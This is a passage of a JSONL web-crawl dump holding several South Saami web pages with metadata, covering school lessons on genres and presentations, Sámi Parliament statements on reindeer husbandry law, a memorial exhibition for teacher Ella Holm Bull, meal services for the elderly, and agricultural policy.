veanhtadidh juktie åarjel-saemien histovrijem åehpiedehtedh.\nNTNU byöroe aaj jïjtje-vieltien sjyöhtehke laavenjostoeguejmieh gaskesadtedh juktie dotkedh jïh tjoevkesem bïejedh åarjel-saemien histovrijasse Tråantefjovlen åerjielisnie.\nBaakoeh\nSaemien\nDaaroen\nsïjse-vaanterdæjja\ninnvandrer\nållesthlaakan\ntotal, fullstendig\nskaaramaaksoe-aamhtesh\nerstatningssaker\nskaaramaaksoe-dïedte\nerstatningsansvar\nskaaramaaksoe-njoelkedassh\nerstatningsregler\nArtihkeleKjernestoff\nFaage-tjaalegeKjernestoff\nVïjhteboelhke-vuekien bïjreKjernestoff\nEssayeKjernestoff\nLohkije-tjaalegeKjernestoff\nGærja-ållermaehtemhKjernestoff\nFilme-ållermaehtemeKjernestoff\nGaajh tjarke histovrijetæjmoe GaupesteKjernestoff\nKååserije jïh petiteKjernestoff\nKååserijeKjernestoff\nKronihkeKjernestoff\nFilme OfelašKjernestoff\nGuktie tjaalegem jïh filmem viertiestidhKjernestoff\nLaavenjassh: ArtihkeleKjernestoff\nLaavenjassh: Faage-tjaaleghKjernestoff\nLaavenjassh essayi bïjreKjernestoff\nLaavenjassh filme-ållermaehtiemasseKjernestoff\nBaajh guvviem jieledh!Kjernestoff\nTjaelieh ållermaehtememKjernestoff\nLaavenjassh: Mijjen jïjnjh gåetiehKjernestoff\nLaavenjassh akten kååserijeseKjernestoff\nLaavenjassh teemese kååserijeKjernestoff\nLaavenjassh: Kronihki bïjreKjernestoff\nLaavenjassh kronihkeseKjernestoff\nMaam kronihken bïjre måjhtah?Kjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh filmese OfelašKjernestoff\nViertesth tjaalegem jïh filmemKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181819\/topic:1:182389\/resource:1:190171","date":"2019-04-22T15:12:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00091.warc.gz","language":"sma","language_score":0.9999750853,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999750852584839}","num_words":782,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Håaleme jïh åehpiedehteme jïjnjh hedtieh utnieh, dan åvteste gåabpegh edtjieh bïevnesh goltelæjjide vedtedh akten teeman bïjre.\nÅehpiedehteme\nDïejvese åehpiedehteme joekoen barkosne jïh jieliemisnie åtnasåvva. Vuesiehtimmien gaavhtan jiehtebe mijjieh edtjebe reeknehlåhkoe-taalh jallh orre dorjesem åehpiedehtedh. Aaj sïejhme ovmessie teknihkeles viehkie-dïrregh nuhtjedh gosse maam akt åehpiedehtebe. Håaleme daamtaj aktem elliesåbpoe hammoedimmiem jïh gïele-hammoem åtna goh åehpiedehteme. Lissine teema daamtaj veelebelaakan gïetesåvva goh åehpiedehtiemisnie.\nRyöjredimmieh vihkeles\nJis edtjh åehpiedehtieminie jallh håaleminie lyhkesidh, dle seamma maadth-njoelkedasse goh gaajhkese maam edtjh njaalmeldh buektedh. Datne tjoerh veele ryöjredidh dov laavenjassese. Datne jearsoesvoetem åadtjoeh gosse daajrah datne maahtah dam man bïjre edtjh soptsestidh, jïh datne maahtah ajve ussjedidh dïsse mij lea vihkielommes gosse goltelæjjaj uvte tjåadtjoeh, gidtjh åehpiedehteme jallh håaleme.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181865\/topic:1:181665","date":"2019-04-24T22:41:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578663470.91\/warc\/CC-MAIN-20190424214335-20190425000335-00029.warc.gz","language":"sma","language_score":0.9999970198,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999970197677612}","num_words":113,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaajhkh sjangerh jarkesieh. 50 jaepiej raajeste dellie sïejhme mijjieh telegraafen tjïrrh heelsegh seedtimh gosse hïeje jallh skylleme. Aaj sïejhme dellie påaste-kåarhtem jallh prieviem seedtedh.\nIbie vielie telegraafem utnieh. Jïh daelie ibie mahte vielie påaste-kåarhth seedth gænnah. Daelie telefovnem nuhtjebe jïh bïevnesh seedtebe. Ibie vielie mahte prieviem tjaelieh, men e-påastem. Mijjieh annje sjangerh goh læhkoestimmiem, eejehtalleme-heelsegem jïh persovneles prieviem nuhtjebe, men ajve orre medijumh nuhtjebe gosse edtjebe maam akt seedtedh. Jïh lissine mijjieh tjaelebe guktie medijumese sjeahta.\nPaehpieristie gaske-vearman\nLohkeme-prievie aaj akte sjangere mij vuesehte guktie sjangere jarkese. Ibie mahte vielie daam sjangere-nommem nuhtjh, men daelie sjangere-nommh nuhtjebe guktie digkiedimmie-lahtese jïh digkiedimmie-artihkele. Dah orre nommh vuesiehtieh lohkije daelie sagke eadtjoehkåbpoe tjaeleme-råållam åtna goh aarebi.\nOrre medijumh mijjem böörieh meatan årrodh\nDaelie sïejhme gaajhkh medijumh mijjem böörieh maam akt darjodh, vuesiehtimmien gaavhtan maehtebe raadijovasse ringkedh jïh meatan årrodh aktene programmesne. Gosse tv:sne digkiedimmie-programme dellie maehtebe SMS-bïevnesh dïsse seedtedh. Mijjieh maehtebe aaj tjaeledh jïh lahtestidh bloggine, nedte-soptsestimmine jïh nedte-sæjrojne goh Wikipedia.\nOrre medijumh orre funksjovnh vaeltieh\nDaelie mijjieh orre medijumh joekehtslaakan nuhtjebe goh aarebi. Aalkovisnie mijjieh barre persovneles SMS-bïevnesh mubpide seedtimh tjædtjan, aahtjan, voelpide, jnv. Daelie orre sjangerh sïejhme sjïdteme. Mijjieh maehtebe tjåanghkoe-bööredimmieh gaske-viermesne seedtedh. SMS-bïevnesem påaste-paahken bïjre åadtjobe jïh gosse edtjebe baenie-dåakteren gåajkoe dellie SMS-bïevnesem baenie-dåaktaristie åadtjobe. Mijjieh maehtebe bïevnesigujmie steemmadidh jïh aaj telefovnine beetnegh seedtedh. Daelie sïejhme sjïdteme Snap-bïevnesem seedtedh, jïjtsistie.\nOrre teknologije orre nuepieh vadta\nOrre teknologije mijjem viehkehte orre govlesadteme-vuekieh evtiedidh. Mijjieh aajhtsebe ibie gaajhkh sjangerh vielie nuhtjh, men orre sjangerh båetieh. Mænngan aajhtsebe magkerh sjangerh daarpesjibie, magkerh sjangerh maehtebe nuhtjedh jïh magkerh sjangerh ibie vielie daarpesjh.\nSjangerhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:159493\/topic:1:159687\/resource:1:159820","date":"2019-04-22T15:03:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00157.warc.gz","language":"sma","language_score":0.9999834299,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999834299087524}","num_words":258,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Manne joekoen madtjeles Laanteburrie- jïh beapmoedepartemeente (LBD) daelie sæjhta vuertedh goske dïhte saemien laakemoenehtse sov barkoem dorjeme jïh sov juvnehtimmiejgujmie båateme, jïh aaj departemeente jeahta dah sijhtieh moenehtsen jarkelimmieraeriestimmieh båatsoelaakeste vuarjasjidh, saemiedigkieraerie Silje Karine Muotka jeahta.\nSaemiedigkie jïh departemeente leah rååresjimmine departemeenten raeriestimmiej bïjre jarkelimmide båatsoelaakesne, seamadamme jienebi tsiehkiej bïjre, dej gaskem raeriestimmie åssjeleparagraafem laakesne jarkelidh, ij edtjh gïetedæmman stoerredigkesne bïejesovvedh.\n– Manne madtjeles dejnie, dan åvteste dïhte raeriestimmie maam lij buakteme idtji nuekies krööhkesth båatsoe lea akte aalkoealmetjejieleme, jïh kulturelle monnehkevoete lea seamma vihkeles goh ekonomeles jïh ekologeles monnehkevoete, Muotka jeahta.\nVihkeles tjïelke meatannænnoestimmine båatsoeståvrosne\nIj darhkh dïhte raeriestimmie jarkelimmien bïjre § 71 båatsoeståvroen bïjre gïetedæmman bïejesovvh guktie lij raeriestamme. Dejnie aaj Saemiedigkie madtjeles.\n– Mijjieh sïjhtebe dallatjinie vuartasjidh guktie maahta aktem båatsoeståvroem hoksedh mij juhtieminie. Daate dan åvteste prosessh edtjieh juhtedh mah ulmine utnieh gorredidh jïh tjïertestidh båatsoeståvrosne tjïelke meatannænnoestimmie båetijen aejkien, jïh ståvroeåvtehken leah båatsoemaahtoe jïh daajroe saemien siebriedahki jïh saemien gïeli bïjre, Muotka jeahta.\nPersovnevaarjelimmiem krööhkedh bæjhkoehtimmesne bovtsetaaleste\nMijjieh seamadamme bovtsetaale sïjtebielide sïjten sisnjelen maahta åehpies dorjesovvedh dastegh persovnevaarjelimmiem krööhkie. Daate dagkerh bïevnesh mej bïjre Saemiedigkie veanhta doh ellen jeanatjommesh sïjtine daajroem utnieh åtnoesoejkesji jïh sïjtesoejkesji tjïrrh.\nDej veajkoej gaajhkh sïjtebielieh eah leah meatan sïjteståvrosne maahta dagke akte haesteme årrodh, jïh dan åvteste bovtsetaale dan stoerre vihkelesvoetem åtna dåarjose, Saemiedigkie lea jååhkesjamme aktem laakevåaromem sjïehtesjidh juktie bïhkedassem hammoedidh guktie daate edtja dorjesovvedh. Saemiedigkieraerie tjïerteste daate ij leah bïevnesh mejtie byögkelesvoete jallh almetjh sïjten ålkolen edtjieh åadtjodh.\n– Mijjieh sïjhtebe hammoedimmien bïjre daehtie bïhkedasseste rååresjidh juktie gorredidh persovnedaatah gorresuvvieh, Muotka tjirkie.\nEah leah sïemes obligatovreles indivijdemïerhkesjimmien bï¨jre\nEah leah seamadamme raeriestimmien bïjre gusnie departemeente sæjhta obligatovreles elektrovneles mïerhkesjimmiem sjïehtesjidh. Saemiedigkie veanhta dïhte aerpievuekien mïerhkesjimmie lea akte vihkeles bielie dehtie kultuvrelle monnehkevoeteste båatsosne, jïh mïerhke jïh dïhte aerpievuekien mïerhkesjimmievuekie leah akte såarhts daajroe maam tjuara gorredidh jïh nænnoestehtedh båetijen aajkan. Saemiedigkieraerie veanhta aerpievuekien mïerhkesjimmie tjuara åejvienjoelkedassine årrodh båatsoelaakesne, jïh sæjhta aamhtesem bæjjese fulkedh Stoerredigkesne, jïh dagke aaj aktene bïhkedassehammoedimmesne.\n– Mijjieh vïhtesjadtebe LBD sæjhta aktem obligatovreles guektiengïerth mïerhkesysteemem sjïehtesjidh, mestie vieliebarkoe jïh seapan vieliemaaksoeh jieliemasse sjædta. Mijjen ulmie lea dam aerpievuekien mïerhkesjimmiem gorredidh jïh nænnoestehtedh, jïh uvtedh maaksoeh daejnie lissiemïerhkesjimmine båatsose bïejesuvvieh Muotka jeahta.\nJis vielie bïevnesh jallh gihtjehtimmiem sïjhth, gaskesadth saemiedigkieraeriem Silje Karine Muotka, tlf: 98487576","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Semadamme-gelliej-tsiehkiej-bijre-baaatsoelaakesne","date":"2019-04-26T10:35:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578765115.93\/warc\/CC-MAIN-20190426093516-20190426115516-00541.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":362,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjidtjebem Ella Holm Bull earohte\n– Manne vuasahtallemem darjoejim dan åvteste manne dan jïjnjem gaavnim mov tjidtjien minngesne. Daah aath edtjin sån meatan årrodh evtiebisnie skuvleheevehtimmesne, men ovmessie fåantoej gaavhtan idtji numhtie sjïdth. Dellie akte orre nuepie bööti daelie gosse lea 50 jaepiej juassah skuvle eelki, guktie göökte tjiehtjelh sjeakoejim jïh buektiehtim såemies daeverh vuesiehtidh mov tjidtjien minngesne, Næjla tjïelkeste, mij sæjhta sov tjidtjiem earoehtidh mij lea joekoen vihkeles orreme dan saemien siebriedahkese.\nGosse Ealla sealadi 2006, 76 jaepien båeries dïhte jïjnjem materijaalem sov minngesne leehpi dejstie jaepijste gosse Åarjel-saemiej skuvlesne Snåasesne barki. Dïhte jïjnjem vöörhkeme mænngan lohkehtæjjine desnie eelki 1968. Maanaguvvieh jïh jeatjah barkoeh learoehkijstie, raeriestimmieh learoegærjide, diplomh jïh daeverh mejtie lea tjöönghkeme aktede guhkies jïh eadtjohke jieliedistie. Dïhte lij akte åarjelsaemien lohkehtæjja, jarkoestæjja, learoegærjatjaelije jïh gïelereformatööre jïh joekoen åehpies sov barkoen åvteste åarjelsaemien tjaelemegïelese. Professovre Knut Bergslandine ektine dïhte Bergsland-Bull reaktatjaelemem evtiedi, mij lea akte vihkeles dïrrege daan biejjien aaj. Dïhte gellie gærjah bæjhkoehti.\nDaah aath dah, mejtie altese elkie lea vuesiehtamme daelie.\nVæjkeles lohkehtæjja\nMijjieh vuasahtallemem vaaksjobe naakenigujmie dejstie learoehkijstie mah skuvlesne vaedtsieh daan biejjien. Dah leah desnie mïnneme juktie vielie Eallan bïjre lïeredh. Dah daevieridie stoerre ïedtjine goerehtieh, guvvieh jïh filmh vuartasjieh aarebi skuvlejaepijste. Akte dejstie learoehkijstie lea Johan Nikolai Larsen (10) mij tuhtjie doh tjaebpies guvvieh leah joekoen ïedtjije, gusnie doh aarebi learohkh leah lopmeskovterh jïh jeatjah vuajastahkh guvviedamme. Men Johan aaj naan åssjaldahkh åtna dan lohkehtæjjan bïjre mij learoehkidie ööhpehti gelliej jaepiej juassah.\n– Ealla lij sån dïhte voestes lohkehtæjja skuvlesne jïh dïhte lij joekoen væjkele. Manne byjjenamme Stïentjesne, men idtjim maehtieh saemien desnie lïeredh, guktie diekie Snåasese juhtimh. Saemien lea dïhte lustemes faage manne skuvlesne åtnam, Johan soptseste mij tjïelkelaakan vuesehte Ella Holm Bull lea sov barkosne lyhkesamme.\nHijven skraejrie\nVuasahtallemisnie lohkehtæjja jïh tjidtjie, Tone Marie Larsen aaj meatan, mij tuhtjie joekoen hijven vuejnedh gaajhkem maam vuasahtallemisnie gaavna. Larsen Eallam damti gosse byjjeni jïh akten boelhken skuvlesne barki mearan lohkehtæjjaskuvlesne lohki. Ij leah jueriedisnie dïhte barkoe maam Ella Holm Bull lea dorjeme sov jieleden tjïrrh lea joekoen vihkeles orreme dan åarjelsaemien siebriedahkese.\n– Manne tuhtjem daate akte joekoen åajvoeh vuasahtalleme maam gujht sïjhtem gellien aejkien nuhtjedh ööhpehtimmesne. Tuhtjem hijven fuelhkie lea skraejriem vaalteme altese hïejmem rïhpestidh guktie gaajhkesh åadtjoeh vuejnedh gie Ealla lij. Ealla akte nyjsenæjja orreme mij gaajhkem darjoeji. Dïhte learoegærjah tjeeli, lij rektovre, lohkehtæjja jïh dovne politihkere. Guktie dïhte gujht akte eadtjohke nyjsenæjja orreme.\nElkie tjidtjiem earohte\nIj leah naan juerie dïhte akte nyjsenæjja maam jeenjesh mujhtieh jïh lea sov gïejh laahpeme. Daan raajan elkie Næjla gellie almetjh guessine åtneme mah sijhtieh vuasahtallemem vuejnedh, jïh dïhte gegkeste satne maahta baajedh dam gævnjasjidh abpe rïhkeden. Jis ïedtje annje lea stoerre dïhte sån maahta guhkebem gævnjasjidh.\n– Idtjim rikti daejrieh man gellie daeverh mah lin tjidtjeben minngesne jïh dagke vielie gååvnese. Munnjien jïh mov golme åabpide Ealla lij ajve akte gieries tjidtjie, lohkehtæjja jïh rektovre, men daelie mænngan manne vuajnam dïhte lij jïjnje vielie. Dovne tjidtjie jïh aehtjie skuvlen åvteste barkigan jïh jïjnjem jïjtsistie vedtigan. Jis ij lij daan barkoen gaavhtan orreme dellie ij leah seekere daate skuvle lij gååvnesamme daesnie daan biejjien, Næjla minngemosth jeahta.\nEalla lij eadtjohke eevre goske sealadi. Gosse sealadi edtji Raarvihken saemien histovrijem tjaeledh. Dïhte åehpies nyjsenæjja aaj gellie baalhkah åådtjeme, gaskem jeatjah dïhte voestes noerhtelaanti saemien gïelebaalhka, Gulliegïele, jaepien 2004, Saemieraerien earoehtimmiebaalhka 1996 jïh Gånkan earoehtimmiebaalhka gullesne 1988. Eallah lij aaj Saemiedigkesne boelhken 1989 - 1993.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/samimag.no\/sma\/content\/tjidtjebem-ella-holm-bull-earohte","date":"2019-06-19T14:52:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999000.76\/warc\/CC-MAIN-20190619143832-20190619165832-00484.warc.gz","language":"sma","language_score":0.9999988079,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999988079071045}","num_words":544,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Skrevet av Jostein Aardal\nRaerieålma raereste akte byjjenimmiebiejjie öörnesåvva Snåasesne voerhtjen 19. b. Biejjien åejvieteema lea Noere Snåasesne (snåasekultuvre). Aamhtesisnie maam Byjjenimmien åejviemoenehtse edtja gïetedidh båetijen gaskevåhkoen, akte raeriestimmie daan bielieteeman bïjre:\n- Sjekk at du tillater cookies og nettleserdata fra besøkte nettsider.\n- Slett midlertidig data i nettleseren og prøv på nytt.\n- Logg ut og logg inn på nytt.\n- Send feilmelding til kundesenteret.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.snasningen.no\/nyheter\/2018\/02\/13\/Raeriestimmie-byjjenimmebiejjien-b%C3%AFjre-16080566.ece","date":"2019-11-18T13:55:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496669795.59\/warc\/CC-MAIN-20191118131311-20191118155311-00409.warc.gz","language":"sma","language_score":0.921153903,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9211539030075073, \"sme_Latn_score\": 0.045004356652498245, \"nob_Latn_score\": 0.030308663845062256}","num_words":61,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":0.969,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate lea daan gaavhtan edtjieh saemien psyjhkeles healsoe faaleldahkem Sveerjesne bueriedidh.\n– Saemieh jeatja psyjhkeles healsoe viehkiem daarpesjieh. Skiemtje såjhterh tjuerieh maahtoem utnedh saemien kultuvren bijre, gosse gie akt viehkien mietie tjåarvoeh. Dellie vihkeles skiemtje såjhterh daejrieh guktie edtjieh daejtie pasientide dåastoehtidh, primärvårde ektiedæjja Norrbotten leenesne, Peter Bergmane, Leeneplaaran, ltz.se bievnede.\nVihkeles saemien maanah jih noeride viehkiehtidh.\nSkiemtje såjhterh jih åejvieh edtjieh lieredh jih maahtoem åadtjodh guktie Nøørjesne berkieh. Guktie edtjieh Saemien maana –jih noeride bøøremes sujhtedh. Tjoeveribe maehtedh seamma viehkiem Sveerjesne faaledh.\nDaate lea prosjeekte maam Sosiale departemeente Sveerjesne åtna. Ulmie lea jih latjkedh, magkeres healsoe- jih skiemtj viehkiem, edtjebe skiemtjgåetine faaledh.\nSaemiedigkie, Svienske saemien rijhkesiebrie jih Saminuorra edtjieh dåeriedidh.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.nrk.no\/sapmi\/saemien-psyjhkeles-healsoe-viehkie-edtja-buerebe-sveerjesne-sjidtedh-1.12735339","date":"2019-12-12T03:00:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540536855.78\/warc\/CC-MAIN-20191212023648-20191212051648-00260.warc.gz","language":"sma","language_score":0.9999879599,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999879598617554}","num_words":110,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beapmoeh\nBeapmoedistribusjovne\nGosse voeresåvva mejtie damta ij åajsoeh beapmoem jïjtsasse jurjiehtidh.\nJis ij nuekies beapmoeh maehtieh byöpmedidh dellie dan soe nahkeren jïh viesjies sjædta.\nMaahta aaj skïemtjedidh jallh jeatjah tsiehkijste ij maehtieh beapmoeh jurjiehtidh.\nDellie alternatijvem gååvnese beapmoedistribusjovnem ohtsedidh.\nDaam maahta viehkievuarjasjæjjesne darjodh jïh maahta åenehks jallh guhkebe tïjjem utnedh.\nHïejmedïenesje buakta galmes beapmoeaeskieh 3 aejkien våhkosne jallh fïerhten biejjien dïsse gie viehkiem daarpesje beapmoem baahkenidh.\nBeapmoeaeskieh edtjieh datuminie mïerhkesjamme jïh jovkemsh aaj meatan.\nÅseborgen beapmoesavka\nÅseborgesne beapmoesavka gusnie gaskebeapmoeh jïh gaskebiejjiebeapmoeh hoksehtidh\ngaajhkh biejjieh abpe jaepiem.\nVoeresinie åadtjoeh båetedh jïh maeksedh\ndaelie 62 kr fïerhten åesien gaavhtan.\nVaajtele tjöökese bïeljelidh guktie nuekies beapmoeh gaajhkide.\nGaskebeapmoeh leah jïjnjemes beapmoeh jïh tsåahka 11.30 hoksehtidh\nGaskebiejjiebeapmoeh ånnetji geehpebe beapmoeh, tsåahka 16.30 hoksehtidh\nViskabaren\nViskabaresne Fredrikesne maehtieh voeresh båetedh jïh beapmoesavkesne byöpmedidh.\nJis ij Duvanisnie årroeh tjuara ringkedh jïh dængkodh.\nGaskebeapmoeh åvtelen ts. 09.00 dængkodh jïh gaskebiejjiebeapmoeh åvtelen ts. 11.30.\nGaskebeapmoeh tsåahka 11.45 hoksehtidh.\nGaskebiejjiebeapmoeh tsåahka 16.00 hoksehtidh.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/asele.se\/saepmie\/hokse-viehkie-j%C3%AFh-daarjoe\/beapmoeh\/","date":"2020-04-05T23:13:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371611051.77\/warc\/CC-MAIN-20200405213008-20200406003508-00004.warc.gz","language":"sma","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000040531158447}","num_words":147,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lïerehtimmie jïh learoevierhtieh\nStipende\nSaemiedigkie gïeleskreejremestipendem vadta learoehkidie jåarhkeskuvlesne mej saemien goh faage jåarhkeskuvlesne.Koronavijrusen gaavhtan ohtsememieriem stipendese guhkiedibie suehpeden 22. b. 2020 raajan.\nStipende jollebe ööhpehtæmman julevsaemien jallh åarjelsaemien gïelesne, jïh saemien gïeleööhpehtimmie studentide maarkasaemien dajveste\nSaemiedigkie stipendem vadta studentide mah jollebe ööhpehtimmiem julevsaemien jallh åarjelsaemien gïelesne vaeltieh, jïh studentide maarkasaemien dajveste mah saemien gïeleööhpehtimmiem vaeltieh.Koronavijrusen gaavhtan ohtsememieriem stipendese guhkiedibie voerhtjen 30. b. 2020 raajan.\nDåarjoe\nSaemiedigkie dåarjoem vadta saemien maanagïertide jïh saemien goevtesidie nöörjen maanagïertine mah saemien kultuvrem jïh gïelem våaroeminie utnieh.OBS! Søknadsfrist er endret til 15.05.2020.\nSaemiedigkie dåarjoem vadta maanagïertide mah eadtjohkelaakan berkieh saemien gïelh maanagïertesne nænnoestehtedh jïh evtiedidh.\nSametinget gir tilskudd til utvikling av ordinære og særskilt tilrettelagte læremidler til grunnopplæringen.OBS! Søknadsfristen er forlenget til 18.5.2020. Selv om det i regelverket står en annen søknadsfrist, så er det 18.5.2020 som er gjeldende søknadsfrist.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.saemiedigkie.no\/Tilskudd-og-stipend?tag=88","date":"2020-06-02T20:25:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426801.75\/warc\/CC-MAIN-20200602193431-20200602223431-00411.warc.gz","language":"sma","language_score":0.9992060065,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999206006526947}","num_words":129,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaavnh barkijem Ohtsemebaakoe Kategori Alle Jieleme-, kultuvre- jïh healsoegoevtese Reaktah jïh gaskenasjonaale goevtese Barkije Byjjenimmie- jïh lïerehtimmiegoevtese Direktöören staabe Gaskesadtemestaabe Gïelegoevtese Govlehtallijh dåarjoe Gærjagåetie Kultuvremojhtese-, areaale- jïh byjresegoevtese Reeremegoevtese Saemiedigkien tjirkijh Saemiedigkieraerie Stoerretjåanghkoestaabe Stoerretjåangkoeståvroe Ohtsh Vuesehth ohtsemefilterh Templates.Standard.PersonItemListPage.SortOrder Fornavn Etternavn Orresth ohtsemeilledahkem Skubph ohtsemefilterh V Vaino Rensberg Stilling Ráđđeaddi\/Rådgiver Vegar Jakobsen Bæhr Stilling Ráddeaddi\/Rådgiver Vera Eriksen Stilling Vuosttaškonsuleanta\/Førstekonsulent Veslemøy Dahl Stilling Fágajođiheaddji\/Fagleder Vigdis Kristine Guttorm Stilling Bassi\/Renholder Vivi Pedersen Stilling Seniorraeriestæjja Jieleme W Wenche J.M. Andersen Stilling Ráđđeaddi\/Rådgiver Å Åse Margrethe Paulsen Pulk Stilling Seniorráđđeaddi\/Seniorrådgiver Vuesehte 201-208 ållesth 208 personer, sæjroe 21 ållesth 21 Forrige 1 2 ... 19 20 21","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/sametinget.no\/gaavnh-barkijem\/?pageNumber=21","date":"2020-10-01T03:18:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402130615.94\/warc\/CC-MAIN-20201001030529-20201001060529-00162.warc.gz","language":"sma","language_score":0.7550492883,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.7550492882728577, \"sme_Latn_score\": 0.2424987107515335}","num_words":91,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.044,"flagged_words_ratio":0.0,"lang_id_score":0.939,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jielije voenh bööremes tjirkeme juktie saemien kultuvrem jïh gïelem gorredidh jïh evtiedidh. Saemien jåartaburrie lea jearohke nöörjen åejvieladtjh aktem guhkies jïh daajroes jåartaburriepolitihkem utnieh. Jåartaburrie saemien dajvine geerve åtna geervelaakan gaahtjedh dajvigujmie jeatjah bieline laanteste mah buerebe klijmam utnieh. Dan gaavhtan konsekvensh aktede bijjieproduksjovneste jeatjah lehkesne laantesne eah maehtieh jåartaburrieproduksjovnem saemien dajvine goerpedehtedh.\nJåartaburrie lea jieleme mejnie tjuara gïehtelidh desnie gusnie jåartaburrieareaale. Akte stoerre bielie årromedajveste saemien dajvine lea ektiedamme nuepide jåartaburrine gïehtelidh. Lissine vihkeles årrodh almetjidie mah desnie årroeh, jåartaburrien aarvoesjugniedimmie aaj vihkeles saemien dajvide. Produksjovne jåartaburriedorjesijstie aaj lissie-effekth sjugnede jeatjah siebriedahkesne. Goh aarvoesjugniedimmie leekedimmiesijjine, meejerijine, maasjinadeallahtæjjaj jïh foeresjimmiesuerkien luvnie jnv.\nBetnieproduksjovnh saemien jåartaburresne lea mielhkieproduksjovne jïh sïrvh. Romsesne gaajhtse vihkeles naan voenide. Saemien dajvine naan ïentjh utnieh mah eah leah åtnosne daan biejjien, men gåarede dejtie aelhkieslaakan nuhtjedh dejstie mah joe gaertieninie gïehtelieh.\nSaemiedigkie raeriestimmieh buakta jåartaburrielatjkose fïerhten jaepien. Saemiedigkien stoerretjåanghkoe dam gïetede åvtelen rååresjimmiejgujmie aalka.\nDaesnie raeriestimmie 2020 Saemiedigkien raeriestimmie jåartaburrierååresjimmide 2020 (PDF, 442 kB)\nJåarhkeevtiedimmie beapmoste, beapmoedååjresh jïh arktiske laanteburrie leah akte dejstie suerkijste maam Saemiedigkie prioriterede. Daejnie produksjovnine gåarede aarvoesjugniedimmiem vielie 